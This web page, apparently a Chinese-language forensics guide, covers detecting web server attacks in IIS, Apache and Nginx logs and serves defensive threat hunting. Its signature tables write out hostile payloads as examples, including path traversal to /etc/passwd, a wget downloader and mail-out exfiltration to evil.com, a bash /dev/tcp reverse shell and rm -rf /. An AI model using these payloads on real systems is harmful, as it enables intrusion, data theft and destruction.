萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

Web 服務器攻擊痕跡取證指南:從日誌分析到漏洞利用鏈還原

Web 站點預設 80/443 端口暴露公網,是攻擊者首選目標。漏洞利用成功可導致遠程代碼執行 (RCE)、權限提升、數據洩露、網頁掛馬、勒索軟體投放。本文系統梳理 Web 服務器常見攻擊在日誌中留下的特徵痕跡,構建日誌分析與威脅狩獵知識庫。

核心日誌來源

  • IIS:%SystemDrive%\inetpub\logs\LogFiles\W3SVC\ (W3C 擴展日誌格式)
  • Apache:/var/log/apache2/access.log、error.log (Combined/Common 格式)
  • Nginx:/var/log/nginx/access.log、error.log
  • 應用層:Web 應用框架日誌、資料庫審計日誌、WAF 日誌、CDN 邊緣日誌

攻擊痕跡特徵模式庫

1. 路徑遍歷與目錄探測

GET /../../../../etc/passwd HTTP/1.1
GET /..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
GET /.../.../.../.../windows/win.ini HTTP/1.1
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1

特徵:URL 含 ..、../、URL 編碼變體、多層級遍歷、目標敏感文件。
日誌欄位:cs-uri-stem、cs-uri-query、sc-status (404/200/500)、sc-bytes 異常大。

2. 命令注入與 RCE 利用載荷

攻擊向量日誌特徵範例說明
空格編碼?page=ls%20-al、?cmd=id%20%20 為空格,嘗試執行 Unix 命令
反引號/命令替換?input=`id`、?cmd=$(whoami)Perl/Shell/Bash 命令替換語法
管道/重定向?doh=ls%20-al%7C、?x=cat%20/etc/passwd%3E%20out.txt%7C=|、%3E=>
Windows 特有?path=..%5C..%5Cwindows%5Csystem32%5Ccmd.exe%3F%2Fc%2Bdir%5C=\、%3F=?、%2B=+
下載器?x=wget%20https://evil.com/sh、?x=tftp%20-i%20evil.com%20GET%20nc.exewget/curl/tftp/powershell/certutil/bitsadmin 下載後門
文件操作?x=cat%20/etc/shadow、?x=echo%20hacked%20%3E%20index.html讀取密碼文件、篡改首頁
進程/系統偵察?x=ps%20-aux、?x=uname%20-a、?x=netstat%20-an偵察運行服務、內核版本、網絡連接
破壞/清理?x=rm%20-rf%20%2F、?x=kill%20-9%201、?x=chmod%20777%20%2F刪除文件、殺進程、修改權限
編譯/解釋?x=gcc%20exploit.c、?x=python%20exploit.py、?x=perl%20exploit.pl本地編譯/解釋利用代碼
郵件外發?x=mail%20attacker@evil.com%20%3C%20/etc/passwd竊取數據郵寄外發
反彈 Shell?x=bash%20-i%20%3E%26%20/dev/tcp/evil.com/4444%200%3E%261建立反向連接獲取交互式 Shell
X 窗口轉發?x=xterm%20-display%20192.168.1.100:0遠程圖形界面轉發,-display 關鍵特徵

3. 敏感文件訪問嘗試

/etc/passwd, /etc/shadow, /etc/master.passwd (BSD)
/etc/motd (系統版本/公告信息)
/etc/hosts (網絡拓撲)
/usr/local/apache/conf/httpd.conf, /etc/nginx/nginx.conf (Web 配置)
/etc/inetd.conf, /etc/xinetd.d/ (服務配置)
/etc/hosts.allow, /etc/hosts.deny (TCP Wrapper)
.htpasswd, .htaccess, .htgroup (認證文件)
access_log, error_log (日誌本身,攻擊者查看/刪除痕跡)
[Drive]:\winnt\repair\sam._ 或 sam (Windows NT/2000 SAM 備份,供 l0phtcrack 破解)

4. 緩衝區溢出載荷特徵

GET /cgi-bin/vuln.cgi?input=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
# 超長字串、重複字符、NOP 滑板 (0x90)、Shellcode 十六進制、編碼器特徵 (Shikata Ga Nai: \xda\xc0\xd9\x74\x24\xf4...)

關鍵指標:請求長度異常大、重複模式、高熵值載荷、URL 參數值非預期格式。

5. Web Shell 部署與管理流量

  • 上傳請求:POST /upload.aspx HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.aspx"
  • 管理請求:GET /shell.aspx?cmd=whoami、POST /shell.aspx HTTP/1.1 ... cmd=dir+c%3A\\
  • 特徵:高頻、固定路徑、參數名固定 (cmd/exec/code)、User-Agent 異常 (空/特定字符串)、Referer 為空/異常

6. 自動化掃描器特徵

  • User-Agent:sqlmap、Nikto、Acunetix、Nessus、OpenVAS、DirBuster、Gobuster、Burp Suite
  • 請求模式:字典遍歷、規則性參數測試、高頻率、錯誤碼分析

日誌分析實戰工作流

  1. 日誌集中化:Filebeat/Winlogbeat/Fluentd → Elasticsearch/Logstash/Splunk/SIEM
  2. 字段標準化:統一提取 clientip、method、uri、status、bytes、ua、referer、latency
  3. 基線建模:正常流量分佈(狀態碼、請求大小、延遲、User-Agent、地理分佈)
  4. 規則匹配:Sigma 規則、YARA-L、Splunk SPL、Elastic DSL 封裝上述特徵模式
  5. 異常檢測:機器學習識別異常請求序列、低慢速攻擊、憑證填充、API 濫用
  6. 威脅狩獵:假設驅動——「若攻擊者已植入 Web Shell,會有何行為?」→ 反向查詢驗證
  7. 關聯分析:Web 日誌 + 防火牆日誌 + EDR 進程樹 + 網絡流量 + 威脅情報
  8. 證據保全:原始日誌 WORM 存儲、哈希驗證、保管鏈記錄

進階取證技巧

  • 時間線重建:log2timeline/plaso 融合多源日誌生成超級時間線
  • 會話重放:提取攻擊者完整 HTTP 會話(含 POST 體),在隔離環境重放複現
  • 內存取證:Volatility 分析 Web 進程內存殘留的解密密鑰、會話 Token、Shellcode
  • 文件系統取證:時間戳分析 (MACE)、刪除文件恢復、備份文件檢查

Web 日誌是攻擊者留下的「指紋」。讀懂日誌、建立規則、自動化檢測、持續狩獵,將被動日誌轉化為主動防禦情報,是藍隊核心能力。

copyright © 萬盛學電腦網 all rights reserved